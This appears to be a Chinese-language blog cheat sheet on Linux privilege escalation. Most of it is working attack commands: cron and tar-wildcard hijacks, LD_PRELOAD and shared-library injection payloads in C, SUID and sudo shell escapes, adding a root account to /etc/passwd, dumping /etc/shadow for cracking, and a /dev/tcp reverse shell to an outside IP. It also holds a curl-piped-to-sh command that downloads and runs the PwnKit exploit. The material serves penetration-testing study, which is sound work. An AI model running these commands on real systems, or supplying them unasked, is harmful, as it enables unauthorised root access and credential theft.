Linux 提權是指通過各種方法將系統中的一個普通用戶或受限用戶的權限提升為更高的權限(通常是 root),以獲取對整個系統的控制權。常見策略有以下幾種
- Cron
- Password Mining
- 環境變量
- SUID
- SUDO
- NFS
- CVE漏洞提權
- 其他
Cron
https://yu-shiuan2017.medium.com/htb-cronos%E9%9D%B6%E6%A9%9F-write-up-4de6734e1a0a
Cron (Path)
如果 /etc/crontab
內有 PATH
變數。而且PATH
包含 /home/user
或類似目錄,例如PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
則當 crontab
執行一個命令時,它會先在這些目錄中查找該命令。假如有一個cron任務需要執行 overwrite.sh
,系統會首先在 /home/user
目錄下尋找該命令。
因此可在自己的/home/user目錄下新增overwith.sh做提權,如下所示
#echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#chmod +x /home/user/overwrite.sh
等待1分鐘後,overwrite.sh會被執行,/tmp/bash就可執行/bin/bash,接著就可執行以下指令提權
#/tmp/bash -p
$id
uid=0(root)...omit...
Cron (Wildcards)
如果 /etc/crontab
內發現有script使用tar搭配wilcard (*) 壓縮/home/user/下的內容,例如tar -czf /backup/user_backup.tar.gz /home/user/*
可嘗試用以下方式提權
# echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
# touch /home/user/--checkpoint=1
# touch /home/user/--checkpoint-action=exec=sh\ runme.sh
--checkpoint=1
: 這個選項在 GNU tar
中通常用來指定在每個檔案處理完成後(每個 “checkpoint”),tar
應該顯示一條訊息或執行某些操作。在這個例子中,1
意味著在每處理一個檔案時,tar
就會執行指定的動作。
--checkpoint-action=exec=sh runme.sh
: 這個選項指示 tar
在每個 checkpoint 時執行特定的動作。exec=sh runme.sh
的意思是讓 tar
使用 sh shell
來執行名為 runme.sh
的腳本。
等待1分鐘後,即可執行以下指令
# /tmp/bash -p
$ id
uid=0(root)...omit...
Cron (File Overwrite)
如果 /etc/crontab
內發現有script可以被寫入,例如/usr/local/bin/overwrite.sh
是可以被寫入的,可嘗試用以下方式提權
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
等待1分鐘後,即可執行以下指令
# /tmp/bash -p
$ id
uid=0(root)...omit...
Password Mining
透過發現高權限密碼提權,常見方法如下
Password Mining (Configuration Files)
從configuration file
找高權限帳號的密碼,舉例如下
cat /home/user/myvpn.ovpn
,關注auth-user-pass
cat /etc/openvpn/auth.txt
,關注明文的密碼
cat /home/user/.irssi/config | grep -i passw
,關注明文的密碼
Password Mining (History)
從歷史記錄中找高權限帳號的密碼,舉例如下
cat ~/.bash_history | grep -i passw
,關注明文的密碼
Password Mining (Memory)
從內存中找高權限帳號的密碼,舉例如下
假如目標有ftp, 先查詢ftp 的 pid
#ps -ef | grep ftp
接著使用gdb找記憶體內的密碼
#gdb -p [FTP PID]
(gdb)info proc mappings
尋找heap區域的起點和終點,一旦找到後把他存到/tmp/men,在用strings看明文密碼
(gdb) dump memory /tmp/mem [Start Address] [End Address]
(gdb) q
strings /tmp/mem | grep passw
環境變量
Linux 的環境變量提權是一種通過操作或修改環境變量來獲取更高權限的技術。在 Linux 系統中,環境變量可以影響命令的執行方式或應用程序的行為。如果配置不當,可能導致特權提升的漏洞。以下是幾種常見的環境變量提權方式及範例:
PATH 環境變量的濫用
PATH 定義了執行命令時搜索的目錄順序。如果攻擊者能夠將惡意程式放在PATH優先位置,可能會執行惡意程式。舉例如下
export PATH=/tmp:$PATH
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > /tmp/ls
chmod +x /tmp/ls
ls
如果 ls 在 /tmp 目錄中被優先執行,攻擊者就能將 /bin/bash 替換為帶有 SUID 權限的惡意副本。
LD_PRELOAD 環境變量
LD_PRELOAD 允許在執行程式前加載自定義的共享庫。如果有特權的程式未正確限制此變量,可能會被攻擊者利用。舉例如下
1.準備一個exploit.c使用setuid(0),可將程序的有效用戶 ID (eUID) 設置為 0,也就是 root 用戶。這意味著,在這個函數執行後,程序將擁有 root 的權限。
echo 'void _init() { setuid(0); system("/bin/bash"); }' > exploit.c
2.透過-shared要求gcc 編譯出一個共享庫(dynamic library),也就是 .so 檔案。共享庫可以被其他程式在運行時動態連結。並透過-fPIC參數 Position-Independent Code,要求編譯出的程式碼可以被載入到記憶體的任意位置,這對於共享庫來說是很重要的。
gcc -shared -o exploit.so -fPIC exploit.c
3. 使用LD_PRELOAD指定在/bin/su程式載入時,要優先載入的exploit.so共享庫。
LD_PRELOAD=./exploit.so /bin/su
上述步驟總結來說,在執行 /bin/su 命令時,先載入我們自定義的 exploit.so
共享庫。由於我們在 exploit.so
中定義了 _init
函數,而這個函數會將程序的權限提升為 root,所以當我們執行 /bin/su
時,實際上會以 root 的身份執行,並且會開啟一個 bash shell
LD_LIBRARY_PATH 環境變量
LD_LIBRARY_PATH 定義了加載共享庫的路徑。如果攻擊者可以設置此變量,可能誘導執行不受信任的庫。
如果有辦法發現在運行時會動態載入共享庫的漏洞程式(some_vulnerable_program),且載入的共享庫名稱恰好與我們惡意編譯的 libc.so.6
相同,那可以用以下方式提權。
# mkdir /tmp/exploit
# echo 'void my_function() { setuid(0); system("/bin/bash"); }' > /tmp/exploit/libc.c
# gcc -shared -o /tmp/exploit/libc.so.6 -fPIC /tmp/exploit/libc.c
# export LD_LIBRARY_PATH=/tmp/exploit
# some_vulnerable_program
LD_LIBRARY_PATH
: 這個環境變數指定了系統在運行程式時,除了系統預設的共享庫搜尋路徑之外,還應該搜尋哪些目錄。這樣一來,當我們執行其他程式時,系統就會優先在 /tmp/exploit
目錄下查找所需的共享庫。
一旦我們的惡意共享庫被載入,其中的函數就有可能在某些特定的條件下被執行,導致程序的權限被提升,並開啟一個 bash shell。
PYTHONPATH/PERL5LIB/RUBYLIB 等腳本環境變量
這些變量控制腳本語言執行時的模組搜索路徑。如果程序能透過sudo等高權限執行,攻擊者可以利用它們。舉例如下
假如python可用sudo執行,可以透過以下方式提權
1.在 /tmp
目錄下創建一個名為 exploit.py
的 Python 脚本,並將指定的 Python 程式碼寫入其中。
echo 'import os; os.system("/bin/bash")' > /tmp/exploit.py
2.將環境變數 PYTHONPATH
設置為 /tmp
。PYTHONPATH
這個環境變數指定了 Python 在導入模組時,除了系統預設的模組搜索路徑之外,還應該搜尋哪些目錄。通過將 /tmp
目錄添加到 PYTHONPATH
中,Python 解譯器就能夠找到我們剛剛創建的 exploit.py
脚本
export PYTHONPATH=/tmp
3.以 sudo權限執行 Python 解譯器,並執行指定的 Python 程式碼
sudo python -c 'import exploit'
這三行指令的組合,實現了一個簡單的提權攻擊。通過創建一個 Python 脚本,利用 os.system
函數執行系統命令,並且以 sudo 權限執行這個 Python 脚本,最終達到開啟一個擁有 root 權限的 bash shell。
SUID 提权
suid 可以讓檔案呼叫者暫時取得檔案擁有者的權限,suid 提權的想法讓一般使用者執行 root 使用者所擁有的 suid 文件,以達到提權的目的。
假設我們現在有一個可執行檔ls,其屬主為root,當我們透過非root使用者登入時,如果ls設定了SUID權限,我們可在非root使用者下執行該二進位執行檔,在執行檔時,該進程的權限將為root權限.
尋找有suid的檔案
find / -type f -perm -4000 -ls 2>/dev/null
find
如果有設定SUID,可提權,舉例如下
$ find 1.txt -exec '/bin/sh' \;
sh-5.0# whoami
root
或是直接用reverse shell
find 1.txt -exec bash -i >& /dev/tcp/192.168.1.11/9999 0>&1 -p \;
less和more
如果有設定SUID,可提權,舉例如下
less /etc/passwd
然後在less中輸入:!/bin/sh
cp
如果有設定SUID,可提權,直接使用cp命令覆蓋原來的/etc/passwd文件
[kali@localhost ~]$ cat /etc/passwd >passwd
[kali@localhost ~]$ openssl passwd -1 -salt hack hack123
$1$hack$WTn0dk2QjNeKfl.DHOUue0
[kali@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
[kali@localhost ~]$ cp passwd /etc/passwd
[kali@localhost ~]$ su - hack
Password:
[root@localhost ~]# id
uid=0(hack) gid=0(root) groups=0(root)
[root@localhost ~]# cat /etc/passwd|tail -1
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
awk
如果有設定SUID,可提權如下
awk 'BEGIN {system("/bin/bash")}'
其他
利用現有的linux合法指令提權的方式可參考 https://gtfobins.github.io
refer
简谈SUID提权 https://www.freebuf.com/articles/web/272617.html
Linux SUID 提权 https://jlkl.github.io/2020/01/27/Web_15/
批量利用工具:https://github.com/Jewel591/suidcheck
五种实用型linux提权方法 https://www.wangan.com/p/7fy747408cfd6254
sudo提權
普通用戶一般無法用root命令,但使用sudo命令後就可以讓普通用戶能以root權限執行root命令。有時候黑客拿到高權限後也會利用sudo來建立後門
Linux提权姿势一:滥用SUDO提权 :https://cloud.tencent.com/developer/article/1708368
POC/EXP: https://developer.aliyun.com/article/654362
五种实用型linux提权方法 https://www.wangan.com/p/7fy747408cfd6254
Sudo (Shell Escape Sequences)
sudo -l
如果顯示find,awk,nmap,vim 可用,可用以下方式取得shell
sudo find /bin -name nano -exec /bin/sh \;
sudo awk 'BEGIN {system("/bin/sh")}'
echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
sudo vim -c '!sh'
其他利用現有的linux合法指令提權的方式可參考 https://gtfobins.github.io
Sudo (Abusing Intended Functionality)
sudo -l 如果顯示apache2可以用,可用以下方式取得高權限檔案
# sudo apache2 -f /etc/shadow
執行後可取得root hash. 接著分析hash,步驟如下
# echo '[Pasted Root Hash]' > hash.txt
# john --wordlist=/usr/share/wordlists/nmap.lst hash.txt
成功破解可看到root密碼
Sudo (LD_PRELOAD)
sudo -l 如果顯示LD_PRELOAD,可用以下方式取得高權限檔案
編輯以下內容,儲存為x.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
執行gcc指令並搭配以下參數
• -fPIC:生成位置無關代碼,適用於共享庫。
• -shared:生成共享庫。
• -nostartfiles:不加載默認的啟動文件,僅包含必要的代碼。
# gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
# sudo LD_PRELOAD=/tmp/x.so apache2
$ id
uid=0(root)
sudo 以 root 權限運行 apache2。由於設置了 LD_PRELOAD,系統會優先加載 /tmp/x.so,執行 _init 函數中的代碼。
NFS
當在 NFS 伺服器的導出配置中啟用 no_root_squash 時,客戶端的 root 用戶將保持其 root 身份,並能以 root 權限訪問 NFS 共享上的文件和目錄。
用以下方式可檢查目標主機是否有no_root_squash
# cat /etc/exports
/tmp *(rw,sync,no_root_squash)
假如目標主機有no_root_squash,可以透過以下方式提權
先在攻擊主機執行以下指令,假設目標主機為192.168.1.100
# showmount -e 192.168.1.100
# mkdir /tmp/1
# mount -o rw,vers=2 192.168.1.100:/tmp /tmp/1
# echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
# gcc /tmp/1/x.c -o /tmp/1/x
# chmod +s /tmp/1/x
在目標主機192.168.1.100執行以下,可成功提權
# /tmp/x
# id
uid=0(root)
CVE 漏洞提權
CVE(Common Vulnerabilities and Exposures)是一個標準化的漏洞編號系統,用於唯一標識已知的安全漏洞,CVE 覆蓋了多種類型的漏洞。利用CVE提權的一般過程,通常會確認目標系統的操作系統版本、內核版本和已安裝的應用程序版本,在獲取相對應 Exploit(漏洞利用代碼),舉例如下
CVE-2021-4034
使用 rpm -qa polkit
或 dpkg -l polkit
等命令查詢已安裝的軟體版本,發現有pwnkit漏洞,CVE-2021-4034
就可以使用以下方式提權
$ id
uid=1000(user)...omit...
$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
# id
uid=0(root)...omit...
PwnKit.sh的內容如下,細節可參考https://github.com/ly4k/PwnKit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit || exit
chmod +x ./PwnKit || exit
(sleep 1 && rm ./PwnKit & )
./PwnKit
其他
so Injection
如果有發現SUID(Set User ID)權限,例如 find / -type f -perm -4000 -ls 2>/dev/null
發現的檔案,4000表示SUID權限
假如/usr/local/bin/suid-so
有suid,則使用 strace 來跟蹤並顯示程式執行期間的系統調用,特別關注與檔案操作相關的系統調用(例如打開檔案、訪問檔案等)
#strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
假設執行時間會載入一個特定路徑下的共用程式庫(例如 /tmp/libcalc.so),但沒有對這個路徑進行嚴格的權限檢查。或是程式嘗試從一個可寫目錄載入 .so 文件,並且該文件遺失或不存在。就可使用以下方式提權
1.製做一個/tmp/libcalc.c內容如下
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
2.執行以下內容產生所缺少的/tmp/libcalc.so
# gcc -shared -o /tmp/libcalc.so -fPIC /tmp/libcalc.c
# /usr/local/bin/suid-so
$ id
uid=0(root)...omit...
一旦執行suid-so 就會讀取假的libcalc.so內的指令,以root身份啟用bash